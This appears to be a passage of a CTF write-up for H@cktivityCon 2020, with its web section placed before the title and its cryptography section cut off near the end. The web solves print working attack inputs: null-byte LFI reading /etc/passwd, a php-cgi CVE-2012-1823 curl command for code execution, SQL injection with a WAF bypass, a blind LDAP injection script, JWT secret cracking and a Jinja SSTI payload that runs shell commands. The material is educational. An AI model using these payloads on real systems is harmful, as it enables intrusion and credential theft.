inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF: > PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us: ![](assets//images//bite_2.png) index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` : ![](assets//images//bite_3.png) It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this. In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte. With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us: ![](assets//images//bite_4.png) We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag: ![](assets//images//bite_5.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php ## GI JoeThe real American hero! Connect here:\http://jh2i.com:50008 **Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`** **Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe: ![](assets//images//gi_joe_1.png) From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server. Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability). In more details when providing a vulnerable website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get: ![](assets//images//gi_joe_2.png) It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server. let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")``` by the name of the file we can infer that the code purpose is to decrypt the ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow... ![](assets//images//perfect_1.gif) at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False. Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any): ```pythonimport base64from functools import reduce mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457] i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1 print("}")``` And by running this more efficient code we get the flag in no time: ![](assets//images//perfect_2.gif) **Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457 ## Bon AppetitWow, look at the size of that! There is just so much to eat! Download the file below.\[prompt.txt](assets//files//prompt.txt) **Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`** **Solution:** With the challenge we get a text file with the following content: ```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902``` This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small. For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack. Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag: ![](assets//images//bon_appetit_1.png) **Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: 